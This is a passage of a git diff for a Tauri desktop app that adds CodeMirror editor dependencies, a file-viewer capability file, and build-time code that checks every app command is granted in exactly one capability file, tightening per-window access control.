"node_modules/@codemirror/lang-json": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/@codemirror/lang-json/-/lang-json-6.0.2.tgz",
"integrity": "sha512-x2OtO+AvwEHrEwR0FyyPtfDUiloG3rnVTSZV1W8UteaLL8/MajQd8DpvUb2YVzC+/T18aSDv0H9mu+xw0EStoQ==",
"license": "MIT",
"dependencies": {
"@codemirror/language": "^6.0.0",
"@lezer/json": "^1.0.0"
}
},
"node_modules/@codemirror/lang-markdown": {
"version": "6.5.2",
"resolved": "https://registry.npmjs.org/@codemirror/lang-markdown/-/lang-markdown-6.5.2.tgz",
"integrity": "sha512-AwBOdkWYuA//WcM0xO5PfHPUcmz/O2i5o0Nsg1U69SII/loCJlFI1Romd9xp2HYb1kYJRGZotyqRghuHH5n8Kw==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.7.1",
"@codemirror/lang-html": "^6.0.0",
"@codemirror/language": "^6.3.0",
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.0.0",
"@lezer/common": "^1.2.1",
"@lezer/markdown": "^1.0.0"
}
},
"node_modules/@codemirror/lang-python": {
"version": "6.2.1",
"resolved": "https://registry.npmjs.org/@codemirror/lang-python/-/lang-python-6.2.1.tgz",
"integrity": "sha512-IRjC8RUBhn9mGR9ywecNhB51yePWCGgvHfY1lWN/Mrp3cKuHr0isDKia+9HnvhiWNnMpbGhWrkhuWOc09exRyw==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.3.2",
"@codemirror/language": "^6.8.0",
"@codemirror/state": "^6.0.0",
"@lezer/common": "^1.2.1",
"@lezer/python": "^1.1.4"
}
},
"node_modules/@codemirror/lang-rust": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/@codemirror/lang-rust/-/lang-rust-6.0.2.tgz",
"integrity": "sha512-EZaGjCUegtiU7kSMvOfEZpaCReowEf3yNidYu7+vfuGTm9ow4mthAparY5hisJqOHmJowVH3Upu+eJlUji6qqA==",
"license": "MIT",
"dependencies": {
"@codemirror/language": "^6.0.0",
"@lezer/rust": "^1.0.0"
}
},
"node_modules/@codemirror/lang-yaml": {
"version": "6.1.3",
"resolved": "https://registry.npmjs.org/@codemirror/lang-yaml/-/lang-yaml-6.1.3.tgz",
"integrity": "sha512-AZ8DJBuXGVHybpBQhmZtgew5//4hv3tdkXnr3vDmOUMJRuB6vn/uuwtmTOTlqEaQFg3hQSVeA90NmvIQyUV6FQ==",
"license": "MIT",
"dependencies": {
"@codemirror/autocomplete": "^6.0.0",
"@codemirror/language": "^6.0.0",
"@codemirror/state": "^6.0.0",
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.2.0",
"@lezer/lr": "^1.0.0",
"@lezer/yaml": "^1.0.0"
}
},
"node_modules/@codemirror/language": {
"version": "6.12.4",
"resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.12.4.tgz",
"integrity": "sha512-1q4PaT+o6PbgpkJt4Q8Fv5XJxTy4FUZ4MWETtyiDw3J0Pyr9E2vqcKL+k9wcvjNTIsauxvE7OfmWj3FRPHQ76A==",
"license": "MIT",
"dependencies": {
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.23.0",
"@lezer/common": "^1.5.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.0.0",
"style-mod": "^4.0.0"
}
},
"node_modules/@codemirror/legacy-modes": {
"version": "6.5.4",
"resolved": "https://registry.npmjs.org/@codemirror/legacy-modes/-/legacy-modes-6.5.4.tgz",
"integrity": "sha512-/cZr6qZyl08iYNLGsJ862CXXNI51LryRFRE40ejgoIjXZz0C1rGkD3/Ek5jM/8w1ceRjqtt4qx/KLMh4zBTgew==",
"license": "MIT",
"dependencies": {
"@codemirror/language": "^6.0.0"
}
},
"node_modules/@codemirror/lint": {
"version": "6.9.7",
"resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.7.tgz",
"integrity": "sha512-28/+iWLYxKxsvGYhSYL7zaCZqLz5+FFFDq9tVsvGv9kv8RY4fFAchJ5WX9M3YrrRlTIsECjsXPqeNgnSmNP2dg==",
"license": "MIT",
"dependencies": {
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.42.0",
"crelt": "^1.0.5"
}
},
"node_modules/@codemirror/search": {
"version": "6.7.2",
"resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.7.2.tgz",
"integrity": "sha512-gUYkYhT2+n/+VGZ+8EzE5WFkYZUZYm1VOKDudIsNqh42uRVQJ0a6Yss9sdKT3MeOYfuL1N6AZA57oza0Oyr0LA==",
"license": "MIT",
"dependencies": {
"@codemirror/state": "^6.0.0",
"@codemirror/view": "^6.37.0",
"crelt": "^1.0.5"
}
},
"node_modules/@codemirror/state": {
"version": "6.7.6",
"resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.7.6.tgz",
"integrity": "sha512-kAz+AncRtKuIknedxT1bq4XwXv4UowhbkHU1myPrtVb/jZtImWuV5BXzv5vK6i3kYACsdiZiQKFQQ5Mq7elW8w==",
"license": "MIT",
"dependencies": {
"@marijn/find-cluster-break": "^1.0.0"
}
},
"node_modules/@codemirror/view": {
"version": "6.43.13",
"resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.43.13.tgz",
"integrity": "sha512-sihaFrUzAsYBQsL9J2t69y8nfMQGwcYmggAZsk+kjPbjYZMyuf2hU8tUNTZ+P+isb6XRr8JE22TZlJxBoVdH1A==",
"license": "MIT",
"dependencies": {
"@codemirror/state": "^6.7.0",
"crelt": "^1.0.6",
"style-mod": "^4.1.0",
"w3c-keyname": "^2.2.4"
}
},
"node_modules/@csstools/color-helpers": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz",
@@ -1055,6 +1268,123 @@
"@jridgewell/sourcemap-codec": "^1.4.14"
}
},
"node_modules/@lezer/common": {
"version": "1.5.2",
"resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.5.2.tgz",
"integrity": "sha512-sxQE460fPZyU3sdc8lafxiPwJHBzZRy/udNFynGQky1SePYBdhkBl1kOagA9uT3pxR8K09bOrmTUqA9wb/PjSQ==",
"license": "MIT"
},
"node_modules/@lezer/css": {
"version": "1.3.8",
"resolved": "https://registry.npmjs.org/@lezer/css/-/css-1.3.8.tgz",
"integrity": "sha512-EJn1zcL9qoDptief6ipWKZKLiOpXkxSe0+t8CH9oiMVcZlq7NBWrjCqnc/41EIjeo/ITj1gFFiATdTkaJDL+Og==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.3.0"
}
},
"node_modules/@lezer/highlight": {
"version": "1.2.3",
"resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz",
"integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.3.0"
}
},
"node_modules/@lezer/html": {
"version": "1.3.13",
"resolved": "https://registry.npmjs.org/@lezer/html/-/html-1.3.13.tgz",
"integrity": "sha512-oI7n6NJml729m7pjm9lvLvmXbdoMoi2f+1pwSDJkl9d68zGr7a9Btz8NdHTGQZtW2DA25ybeuv/SyDb9D5tseg==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.0.0"
}
},
"node_modules/@lezer/javascript": {
"version": "1.5.5",
"resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.5.tgz",
"integrity": "sha512-sWg4yX1J6XW67AaAynVt0iwF0M5c+np36TEu+P2ifAJ8haRYvHnWDV28r1jdwnJehWCwXECutAUy56K4RBZIyg==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.1.3",
"@lezer/lr": "^1.3.0"
}
},
"node_modules/@lezer/json": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/@lezer/json/-/json-1.0.3.tgz",
"integrity": "sha512-BP9KzdF9Y35PDpv04r0VeSTKDeox5vVr3efE7eBbx3r4s3oNLfunchejZhjArmeieBH+nVOpgIiBJpEAv8ilqQ==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.0.0"
}
},
"node_modules/@lezer/lr": {
"version": "1.4.10",
"resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.10.tgz",
"integrity": "sha512-rnCpTIBafOx4mRp43xOxDJbFipJm/c0cia/V5TiGlhmMa+wsSdoGmUN3w5Bqrks/09Q/D4tNAmWaT8p6NRi77A==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.0.0"
}
},
"node_modules/@lezer/markdown": {
"version": "1.7.2",
"resolved": "https://registry.npmjs.org/@lezer/markdown/-/markdown-1.7.2.tgz",
"integrity": "sha512-iTkYvoVcKt3WkeL7qUDyXHONZEwLio4wj8KTNi2dnjQEXBZKMV63BpQrPqfsM+OkvuRbiSTAcycYAsQzLhRNoQ==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.5.0",
"@lezer/highlight": "^1.0.0"
}
},
"node_modules/@lezer/python": {
"version": "1.1.19",
"resolved": "https://registry.npmjs.org/@lezer/python/-/python-1.1.19.tgz",
"integrity": "sha512-MhQIURHRytsNzP/YXnqpYKW6la6voAH3kyplTOOiCdjyFY6cWWGFVmYVdHIPrElqSDf4iCDktQCockB9FxuhzQ==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.0.0"
}
},
"node_modules/@lezer/rust": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/@lezer/rust/-/rust-1.0.3.tgz",
"integrity": "sha512-XxErOjZzQ7yJt1agUT4fu9qQvESZ3acgoxpPaPTPOiUx+duCjaVAtZGFIgphkHxlN05djdVAIOy/wItShMEjqQ==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.0.0"
}
},
"node_modules/@lezer/yaml": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/@lezer/yaml/-/yaml-1.0.4.tgz",
"integrity": "sha512-2lrrHqxalACEbxIbsjhqGpSW8kWpUKuY6RHgnSAFZa6qK62wvnPxA8hGOwOoDbwHcOFs5M4o27mjGu+P7TvBmw==",
"license": "MIT",
"dependencies": {
"@lezer/common": "^1.2.0",
"@lezer/highlight": "^1.0.0",
"@lezer/lr": "^1.4.0"
}
},
"node_modules/@marijn/find-cluster-break": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/@marijn/find-cluster-break/-/find-cluster-break-1.0.4.tgz",
"integrity": "sha512-Wy0V7+SGUjnF9/TkiM1hKVDPj7jKXduPNboMVtHTA8dySMURWqfg/JZ9E2Sq8JgSJmkl7k7Qe9FLeMSrSraWmQ==",
"license": "MIT"
},
"node_modules/@rolldown/pluginutils": {
"version": "1.0.0-beta.27",
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
@@ -2523,6 +2853,12 @@
"dev": true,
"license": "MIT"
},
"node_modules/crelt": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.7.tgz",
"integrity": "sha512-aK6BbWfhf4U/wCcLHKPJl/xa6VkVstRaPywWtMKGwuOLc/wZTyQYuoxgvZnNsBvv7Kg3YTBQYYBCggcviQczuA==",
"license": "MIT"
},
"node_modules/css-tree": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz",
@@ -3599,6 +3935,12 @@
"node": ">=8"
}
},
"node_modules/style-mod": {
"version": "4.1.4",
"resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.4.tgz",
"integrity": "sha512-XXWIQt633/EpAFx8aZDOTjBzrCaGmhvEQlQo6MVPfa2OzO2cWo+4hV9h+6UkHYlXGfy+ODXKUdP7Pthmcu5ATw==",
"license": "MIT"
},
"node_modules/symbol-tree": {
"version": "3.2.4",
"resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
@@ -3925,6 +4267,12 @@
}
}
},
"node_modules/w3c-keyname": {
"version": "2.2.8",
"resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz",
"integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==",
"license": "MIT"
},
"node_modules/w3c-xmlserializer": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
+15
View File
@@ -13,6 +13,21 @@
"hooks": "git -C .. config core.hooksPath .githooks && echo \"pre-commit secret scan enabled\""
},
"dependencies": {
"@codemirror/commands": "^6.11.1",
"@codemirror/lang-css": "^6.3.1",
"@codemirror/lang-html": "^6.4.12",
"@codemirror/lang-javascript": "^6.2.5",
"@codemirror/lang-json": "^6.0.2",
"@codemirror/lang-markdown": "^6.5.2",
"@codemirror/lang-python": "^6.2.1",
"@codemirror/lang-rust": "^6.0.2",
"@codemirror/lang-yaml": "^6.1.3",
"@codemirror/language": "^6.12.4",
"@codemirror/legacy-modes": "^6.5.4",
"@codemirror/search": "^6.7.2",
"@codemirror/state": "^6.7.6",
"@codemirror/view": "^6.43.13",
"@lezer/highlight": "^1.2.3",
"@tauri-apps/api": "^2",
"@tauri-apps/plugin-dialog": "^2.7.0",
"@tauri-apps/plugin-opener": "^2.5.3",
+1344 -36
View File
File diff suppressed because it is too large Load Diff
+7
View File
@@ -43,14 +43,21 @@ zeroize = "1"
# container. Already in the tree transitively (reqwest), and the point of
# using it rather than hand-rolling is parity with the frontend's `new URL()`.
url = "2"
similar = "2"
# Marketplace repos are fetched on the host into a bare cache (spec §3).
# Blocking client + rustls: no git binary or OpenSSL needed on the host.
gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] }
[dev-dependencies]
# `test-util` (not part of tokio's `full`) lets the auto-start retry tests run
# their backoff schedule under a paused clock instead of in real seconds.
tokio = { version = "1", features = ["full", "test-util"] }
tempfile = "3"
[build-dependencies]
tauri-build = { version = "2", features = [] }
# build.rs reads capabilities/*.json to cross-check them against generate_handler!.
serde_json = "1"
[features]
default = ["custom-protocol"]
+207 -2
View File
@@ -1,3 +1,208 @@
fn main() {
tauri_build::build()
//! Declares the Tauri `AppManifest`, so every app command is ACL-gated per window, and refuses
//! to build unless every registered command is granted in exactly one capability file — the
//! file whose `windows` the command's name says it belongs to. Without an app manifest, tauri
//! 2.11 skips the ACL for app commands entirely (`webview/mod.rs:1794`), so any local window
//! could call any command.
//!
//! Because the census can only vouch for what it reads, the build also stops on any capability
//! tauri would load that the census does not: anything in `capabilities/` other than a
//! top-level `*.json`, a `webviews`/`remote` key, `app.security.capabilities` in a tauri config
//! or `TAURI_CONFIG`, and any hand-written file under `permissions/`.
//!
//! The parser and the rules live in `src/command_census.rs`, which `cargo test` also compiles,
//! so they have unit tests. Spec: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md`.
#[path = "src/command_census.rs"]
mod command_census;
use std::path::Path;
/// Stops the build. `what` names the check that failed, so a malformed capability file, a
/// stray entry or a hand-written permission does not read as a grant/handler mismatch.
fn fail(what: &str, problems: &[String], hint: &str) -> ! {
eprintln!();
eprintln!(
"{what} ({} problem{}):",
problems.len(),
if problems.len() == 1 { "" } else { "s" }
);
for p in problems {
eprintln!(" - {p}");
}
eprintln!();
eprintln!("{hint}");
eprintln!();
std::process::exit(1);
}
const LAYOUT_HINT: &str = "Every capability is a top-level capabilities/*.json file with a \
`windows` list and no `webviews` or `remote`, and no capability is declared anywhere else \
(tauri.conf.json, TAURI_CONFIG, subdirectories, .toml/.json5). The census in \
src/command_census.rs can only vouch for what it reads.";
fn file_name(path: &Path) -> String {
path.file_name()
.expect("a directory entry has a file name")
.to_string_lossy()
.into_owned()
}
fn main() {
// tauri-build already emits rerun-if-changed for `capabilities`, `permissions` and the
// tauri config files, and rerun-if-env-changed for TAURI_CONFIG.
println!("cargo:rerun-if-changed=src/lib.rs");
println!("cargo:rerun-if-changed=src/command_census.rs");
let lib_rs = std::fs::read_to_string("src/lib.rs")
.expect("build.rs runs with CWD = src-tauri, so src/lib.rs must be readable");
let Some(commands) = command_census::registered_commands(&lib_rs) else {
fail(
"missing generate_handler! block",
&["src/lib.rs has no `generate_handler![ … ])` block to derive the AppManifest from"
.to_string()],
"build.rs derives the AppManifest from that block; see src/command_census.rs.",
);
};
check_tauri_config();
let files = read_capabilities();
let problems = command_census::check(&commands, &files);
if !problems.is_empty() {
fail(
"capabilities do not match generate_handler!",
&problems,
"Every app command needs exactly one bare `allow-<command-with-dashes>` grant: \
`viewer_*` commands in capabilities/file-viewer.json, everything else in \
capabilities/default.json. See src/command_census.rs.",
);
}
prune_permissions(&commands);
// `AppManifest::commands` takes `&'static [&'static str]` and the struct is `Copy`, so
// there is no owned form; leaking is fine in a process that exits right after.
let leaked: Vec<&'static str> = commands
.into_iter()
.map(|c| &*Box::leak(c.into_boxed_str()))
.collect();
let leaked: &'static [&'static str] = Box::leak(leaked.into_boxed_slice());
let attributes = tauri_build::Attributes::new()
.app_manifest(tauri_build::AppManifest::new().commands(leaked));
if let Err(error) = tauri_build::try_build(attributes) {
// Same shape as `tauri_build::build()`: message on stdout, then exit 1.
println!("{error:#}");
std::process::exit(1);
}
}
/// tauri-build writes `permissions/autogenerated/<command>.toml` for every manifest command
/// and never deletes one, so a command removed from `lib.rs` would leave a permission a
/// capability could still reference (and the build would pass). Delete only the stale files:
/// tauri-build also emits `rerun-if-changed=permissions`, so regenerating everything would
/// touch every mtime and re-run this script — and recompile the crate — on every cargo
/// invocation. Anything else under `permissions/` is a hand-written grant the census cannot
/// see, so it is refused — except OS/editor junk (`.DS_Store`, swap files), which tauri never
/// loads and which is skipped (see `command_census::is_os_junk`).
fn prune_permissions(commands: &[String]) {
let root = Path::new("permissions");
let Ok(entries) = std::fs::read_dir(root) else {
return;
};
for entry in entries {
let path = entry.expect("readable entry in permissions/").path();
if path.is_file() && command_census::is_os_junk(&file_name(&path)) {
// .DS_Store and friends: tauri never loads them, so they cannot grant anything.
continue;
}
if path.file_name().is_some_and(|n| n == "autogenerated") && path.is_dir() {
for file in std::fs::read_dir(&path).expect("readable permissions/autogenerated") {
let file = file.expect("readable entry").path();
let stem = file.file_stem().and_then(|s| s.to_str()).unwrap_or("");
let live = file.extension().is_some_and(|e| e == "toml")
&& commands.iter().any(|c| c == stem);
if !live {
std::fs::remove_file(&file)
.unwrap_or_else(|e| panic!("cannot delete stale {}: {e}", file.display()));
}
}
} else {
fail(
"hand-written permission",
&[format!(
"{} is not generated by build.rs; hand-written permissions are not allowed \
(every grant is a bare allow-* string in a capability file)",
path.display()
)],
"permissions/ holds only build.rs's autogenerated/ directory. Delete the entry; \
an app command is granted by listing allow-<command> in a capability file.",
);
}
}
}
/// Every capability tauri will load, read the way the census reads it — or the build stops.
/// tauri-build loads `capabilities/**/*.{json,toml,json5}`; the census reads only top-level
/// `*.json`, so anything else tauri could load is refused rather than granted unchecked.
fn read_capabilities() -> Vec<command_census::CapabilityFile> {
let mut files = Vec::new();
let mut stray = Vec::new();
let mut invalid = Vec::new();
for entry in std::fs::read_dir("capabilities").expect("capabilities/ must exist") {
let path = entry.expect("readable entry in capabilities/").path();
let name = file_name(&path);
let is_file = path.is_file();
if is_file && command_census::is_os_junk(&name) {
continue;
}
if let Some(problem) = command_census::stray_capability_entry(&name, is_file) {
stray.push(problem);
continue;
}
let json = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
match command_census::capability_file(&name, &json) {
Ok(file) => files.push(file),
Err(problem) => invalid.push(problem),
}
}
stray.sort();
if !stray.is_empty() {
fail("stray entry in capabilities/", &stray, LAYOUT_HINT);
}
invalid.sort();
if !invalid.is_empty() {
fail("invalid capability file", &invalid, LAYOUT_HINT);
}
files.sort_by(|a, b| a.name.cmp(&b.name));
files
}
/// tauri also takes capabilities inline from `app.security.capabilities` in any of its config
/// files, or from the `TAURI_CONFIG` JSON that tauri-build merges over them. The census cannot
/// see those, so they are refused; so is a config in a format it cannot read (JSON5, TOML).
fn check_tauri_config() {
let mut problems = Vec::new();
for entry in std::fs::read_dir(".").expect("readable src-tauri/") {
let path = entry.expect("readable entry in src-tauri/").path();
let name = file_name(&path);
match command_census::tauri_config_file(&name) {
None => {}
Some(false) => problems.push(format!(
"{name}: the census reads JSON tauri configs only; a JSON5/TOML config could \
declare capabilities it cannot see"
)),
Some(true) => {
let json =
std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
problems.extend(command_census::tauri_config_problem(&name, &json));
}
}
}
if let Ok(json) = std::env::var("TAURI_CONFIG") {
problems.extend(command_census::tauri_config_problem("TAURI_CONFIG", &json));
}
problems.sort();
if !problems.is_empty() {
fail("capabilities declared outside capabilities/", &problems, LAYOUT_HINT);
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,16 @@
{
"identifier": "file-viewer",
"description": "The terminal file viewer windows (`file-viewer-<n>`, opened by `open_file_viewer` on the app's own `viewer.html`). Same rules as `default.json`, including the layout checks: this file itself must stay a top-level `capabilities/*.json` with no `webviews` or `remote` key, or `build.rs` refuses the build rather than grant something the census cannot see. The five bare `allow-viewer-*` grants are the only app commands a viewer window can invoke: `build.rs` declares the AppManifest that makes tauri enforce that, and refuses any other bare grant in this file. The label gate inside `commands/file_viewer_commands.rs` is still what stops window A acting on window B's registry entry, because the ACL only decides which window may call. The rest of this file is the plugin-command surface a compromised viewer webview could reach, and it is the smallest one that lets the window work. `core:event:allow-listen`/`allow-unlisten` are for `file-viewer-goto` (Rust → this window; the viewer subscribes through `getCurrentWindow().listen`, because a bare `listen()` in *any* window receives an `emit_to`). `core:window:allow-destroy` is not optional: `getCurrentWindow().onCloseRequested` in @tauri-apps/api 2.11 makes Rust `prevent_close()` whenever a JS listener exists and then calls `destroy()` itself, so without this grant the window's X button does nothing once the unsaved-changes guard is installed. `allow-close` is deliberately absent — nothing calls it, and `destroy` is the only exit. No `set-title`/`set-focus`/`unminimize`: those are done from Rust when a second click targets an already-open file. `core:webview:allow-internal-toggle-devtools` is the same dev-only convenience `default.json` carries.",
"windows": ["file-viewer-*"],
"permissions": [
"core:event:allow-listen",
"core:event:allow-unlisten",
"core:window:allow-destroy",
"core:webview:allow-internal-toggle-devtools",
"allow-viewer-get-state",
"allow-viewer-choose-file",
"allow-viewer-read-file",
"allow-viewer-poll-file",
"allow-viewer-write-file"
]
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+581
View File
@@ -0,0 +1,581 @@
//! The command census shared by `build.rs` and the `cargo test` suite.
//!
//! `build.rs` pulls this file in with `#[path = "src/command_census.rs"]` and `lib.rs` with
//! `#[cfg(test)] mod command_census;`, so the parser that decides what the Tauri `AppManifest`
//! declares is the parser the tests exercise, and the rules that decide whether the build
//! passes have unit tests. Nothing here may reference the crate: only `std` and `serde_json`
//! (a dependency of both the crate and the build script).
//!
//! Spec: `docs/superpowers/specs/2026-09-22-app-manifest-lockdown-design.md` §3.2.
use std::collections::{BTreeMap, BTreeSet};
/// The command names inside `generate_handler![ … ])` in `lib.rs`, in registration order,
/// duplicates kept (the caller decides whether that is an error). `None` if the block is
/// missing or unterminated.
///
/// Comma-split, not line-split: `// Docker` style comments are stripped from every line first
/// (a whole-line comment strips to nothing; a trailing one leaves the code before it), and the
/// *cleaned* text is then split on `,` so each grant is its own item regardless of how many
/// share a line. A line-split version of this parser shipped first and used
/// `rsplit("::").next()` once *per line*: two commands on one line (`a::x, b::y,`) collapsed to
/// a single item, silently dropping `a::x` — a denied command at runtime with nothing flagging
/// it. Comma-splitting fixes that because it no longer assumes one item per line.
pub fn registered_commands(lib_rs: &str) -> Option<Vec<String>> {
let (_, rest) = lib_rs.split_once("generate_handler![")?;
let (inside, _) = rest.split_once("])")?;
let cleaned: String = inside
.lines()
// Strip a trailing `//` comment (and a whole-line one, which strips to "").
.map(|l| l.split("//").next().unwrap_or(""))
.collect::<Vec<_>>()
.join("\n");
Some(
cleaned
.split(',')
.map(str::trim)
.filter(|s| !s.is_empty())
.filter_map(|s| {
// `a::b::name` → `name`; a bare `name` (no `::`) is its own last segment.
s.rsplit("::").next().map(|n| n.trim().to_string())
})
.filter(|n| !n.is_empty())
.collect(),
)
}
/// `viewer_read_file` → `allow-viewer-read-file`. tauri-utils 2.9.0 (`acl/build.rs:290`)
/// replaces only `_`; permission identifiers may not contain `_`, but the command name inside
/// the generated permission stays snake_case.
pub fn allow_permission(command: &str) -> String {
format!("allow-{}", command.replace('_', "-"))
}
/// The `windows` list of the one capability file that may grant `command`. A command that
/// must be callable from both windows is a design change: make it here, visibly, rather than
/// by widening a capability file.
pub fn expected_windows(command: &str) -> &'static [&'static str] {
if command.starts_with("viewer_") {
&["file-viewer-*"]
} else {
&["main"]
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapabilityFile {
pub name: String,
pub windows: Vec<String>,
pub bare: Vec<String>,
}
/// One `capabilities/*.json`, reduced to what the census checks. Plugin and core grants
/// (anything with a `:`) are not this module's business; the exact-set tests in `lib.rs` and
/// `file_viewer/mod.rs` pin those.
pub fn capability_file(name: &str, json: &str) -> Result<CapabilityFile, String> {
let value: serde_json::Value =
serde_json::from_str(json).map_err(|e| format!("{name}: not valid JSON: {e}"))?;
// `webviews` would extend the grants to webviews by label (the browser-view pop-out is
// meant to be in no capability), and `remote` would extend them to a remote origin. The
// census reasons about `windows` only, so either key is refused rather than half-checked.
for key in ["webviews", "remote"] {
if value.get(key).is_some() {
return Err(format!(
"{name}: `{key}` is not allowed; capabilities here are scoped by `windows` only"
));
}
}
let windows = value["windows"]
.as_array()
.ok_or_else(|| format!("{name}: `windows` must be an array"))?
.iter()
.map(|w| {
w.as_str()
.map(str::to_string)
.ok_or_else(|| format!("{name}: `windows` entries must be strings"))
})
.collect::<Result<Vec<_>, _>>()?;
let mut bare = Vec::new();
for grant in value["permissions"]
.as_array()
.ok_or_else(|| format!("{name}: `permissions` must be an array"))?
{
let id = match grant {
serde_json::Value::String(s) => s.as_str(),
serde_json::Value::Object(o) => o
.get("identifier")
.and_then(|i| i.as_str())
.ok_or_else(|| format!("{name}: a scoped grant needs a string `identifier`"))?,
_ => return Err(format!("{name}: a grant is a string or an object")),
};
if !id.contains(':') {
bare.push(id.to_string());
}
}
Ok(CapabilityFile { name: name.to_string(), windows, bare })
}
/// Why an entry directly under `capabilities/` cannot be a capability the census reads, or
/// `None` if it is one (a top-level `*.json` file). tauri-build loads `capabilities/**/*` with
/// the extensions `json`, `toml` and (with a feature) `json5`, subdirectories included; the
/// census reads only top-level JSON, so anything else tauri might load is refused rather than
/// left for tauri to grant from unchecked. OS and editor junk, which tauri never loads, is the
/// caller's to skip first (see [`is_os_junk`]).
pub fn stray_capability_entry(name: &str, is_file: bool) -> Option<String> {
if !is_file {
return Some(format!(
"capabilities/{name} is not a regular file; tauri loads capabilities from \
subdirectories too, so every capability must be a top-level capabilities/*.json"
));
}
if name.ends_with(".json") {
return None;
}
Some(format!(
"capabilities/{name} is not a .json file; tauri may load it (it reads .toml and .json5 \
too) but the census cannot check it, so every capability must be a top-level \
capabilities/*.json"
))
}
/// Files the OS or an editor drops next to real ones (`.DS_Store`, `Thumbs.db`, `desktop.ini`,
/// Vim swap files, `name~` backups). tauri-build loads only `json`/`toml`/`json5` from
/// `capabilities/` and `permissions/`, so a junk name with one of those extensions (an Emacs
/// `.#default.json` lock, a macOS `._default.json`) is *not* junk: tauri would try to load it,
/// and the caller must refuse it.
pub fn is_os_junk(name: &str) -> bool {
let loadable = [".json", ".json5", ".toml"].iter().any(|e| name.ends_with(e));
!loadable
&& (matches!(name, ".DS_Store" | "Thumbs.db" | "desktop.ini")
|| name.ends_with(".swp")
|| name.ends_with(".swo")
|| name.ends_with('~'))
}
/// Which files next to `Cargo.toml` tauri reads as its config: `tauri.conf.json[5]`,
/// `Tauri.toml` and the per-platform `tauri.<platform>.conf.json[5]` / `Tauri.<platform>.toml`
/// (tauri-utils `config/parse.rs`). `Some(true)` = JSON the census can read, `Some(false)` = a
/// format it cannot (JSON5/TOML), `None` = not a tauri config file.
pub fn tauri_config_file(name: &str) -> Option<bool> {
if name.starts_with("tauri.") && name.ends_with(".conf.json") {
Some(true)
} else if (name.starts_with("tauri.") && name.ends_with(".conf.json5"))
|| (name.starts_with("Tauri.") && name.ends_with(".toml"))
{
Some(false)
} else {
None
}
}
/// A problem with a tauri config (a `tauri*.conf.json` file, or the `TAURI_CONFIG` JSON that
/// tauri-build merges over it), or `None`. `app.security.capabilities` is refused whenever it
/// is non-empty: an inline object is a capability the census never sees, and a list of
/// identifiers switches every *other* capability file off, which the census also assumes is
/// not happening.
pub fn tauri_config_problem(name: &str, json: &str) -> Option<String> {
let value: serde_json::Value = match serde_json::from_str(json) {
Ok(v) => v,
Err(e) => return Some(format!("{name}: not valid JSON: {e}")),
};
match value.pointer("/app/security/capabilities") {
None | Some(serde_json::Value::Null) => None,
Some(serde_json::Value::Array(a)) if a.is_empty() => None,
Some(_) => Some(format!(
